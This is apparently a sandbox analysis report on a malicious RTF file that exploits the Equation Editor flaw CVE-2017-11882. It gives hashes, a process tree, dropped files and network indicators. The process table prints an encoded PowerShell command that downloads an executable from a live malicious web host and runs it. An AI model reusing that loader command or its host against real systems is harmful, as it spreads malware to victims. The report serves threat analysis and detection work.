File name:

owe809.doc

Full analysis: https://app.any.run/tasks/7f4eb7d2-5bd8-4388-9068-29f90e573fb1
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: May 21, 2019, 01:39:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
cve-2017-11882
trojan
loader
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

30BC48880F8DB7C9530CA020574AE3CD

SHA1:

6885D6ACADEAF57AB4E7E374F19CB4747CD1373B

SHA256:

16BF215CD1E84E7FFC855C7E3C9A340C24862AD9E80527695260780EC79A73BE

SSDEEP:

48:acSSebGDvTzDXi5xokbzjEsTlven2HwDEEEEEEEEEEk:acSSCGDvrSxJFxe2sEEEEEEEEEEk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3504)
    • Application was dropped or rewritten from another process

      • nvbackend.exe (PID: 3628)
    • Loads dropped or rewritten executable

      • nvbackend.exe (PID: 3628)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3472)
  • SUSPICIOUS

    • Creates files in the user directory

      • EQNEDT32.EXE (PID: 3504)
      • powershell.exe (PID: 3472)
    • Executed via COM

      • EQNEDT32.EXE (PID: 3504)
    • Reads internet explorer settings

      • EQNEDT32.EXE (PID: 3504)
    • Executes PowerShell scripts

      • EQNEDT32.EXE (PID: 3504)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3472)
      • nvbackend.exe (PID: 3628)
    • Executed via WMI

      • cmd.exe (PID: 2660)
    • Starts CMD.EXE for commands execution

      • netsh.exe (PID: 3828)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1372)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1372)
    • Manual execution by user

      • netsh.exe (PID: 3828)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
8
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe powershell.exe cmd.exe no specs nvbackend.exe nslookup.exe no specs netsh.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1372"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\owe809.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2660cmd /c %temp%\nvbackend.exeC:\Windows\system32\cmd.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3472"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGUAYwAuAHIAawAtAHMAdABvAHIAZQAuAG4AZQB0AC8AYgBsAG8AZwAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG8AdwBlAHIAcgBpAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AHQAZQBtAHAAXABuAHYAYgBhAGMAawBlAG4AZAAuAGUAeABlACIAKQApADsAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3504"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3628C:\Users\admin\AppData\Local\Temp\nvbackend.exeC:\Users\admin\AppData\Local\Temp\nvbackend.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\nvbackend.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
3828"C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Network Command Shell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\credui.dll
c:\windows\system32\user32.dll
3972"C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exenvbackend.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\nslookup.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
4064/c del "C:\Windows\system32\nslookup.exe"C:\Windows\System32\cmd.exenetsh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
1 438
Read events
1 013
Write events
420
Delete events
5

Modification events

(PID) Process:(1372) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:p&6
Value:
702636005C050000010000000000000000000000
(PID) Process:(1372) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(1372) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(1372) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1320484894
(PID) Process:(1372) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320485008
(PID) Process:(1372) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320485009
(PID) Process:(1372) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
5C0500004036080C760FD50100000000
(PID) Process:(1372) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:x(6
Value:
782836005C05000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(1372) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:x(6
Value:
782836005C05000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(1372) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
3
Suspicious files
3
Text files
4
Unknown types
2

Dropped files

PID
Process
Filename
Type
1372WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR3EF0.tmp.cvr
MD5:
SHA256:
3472powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VZ0KSSEQ38AIM0TXVUBS.temp
MD5:
SHA256:
3628nvbackend.exeC:\Users\admin\AppData\Local\Temp\nse55C5.tmp
MD5:
SHA256:
3504EQNEDT32.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:
SHA256:
1372WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$e809.doc.rtfpgc
MD5:
SHA256:
3472powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF134aa8.TMPbinary
MD5:
SHA256:
3628nvbackend.exeC:\Users\admin\AppData\Local\Temp\Scholiastbinary
MD5:
SHA256:
3472powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
1372WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
3504EQNEDT32.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\ke2KwtYg[1].txthtml
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
3
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3472
powershell.exe
GET
200
183.181.0.79:80
http://ec.rk-store.net/blog/wp-includes/owerri.exe
JP
executable
363 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3504
EQNEDT32.EXE
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
3472
powershell.exe
183.181.0.79:80
ec.rk-store.net
FreeBit Co.,Ltd.
JP
malicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
malicious
ec.rk-store.net
  • 183.181.0.79
malicious
www.xn--e6q94i01ih08c.biz
unknown

Threats

PID
Process
Class
Message
3472
powershell.exe
A Network Trojan was detected
ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious
3472
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3472
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
No debug info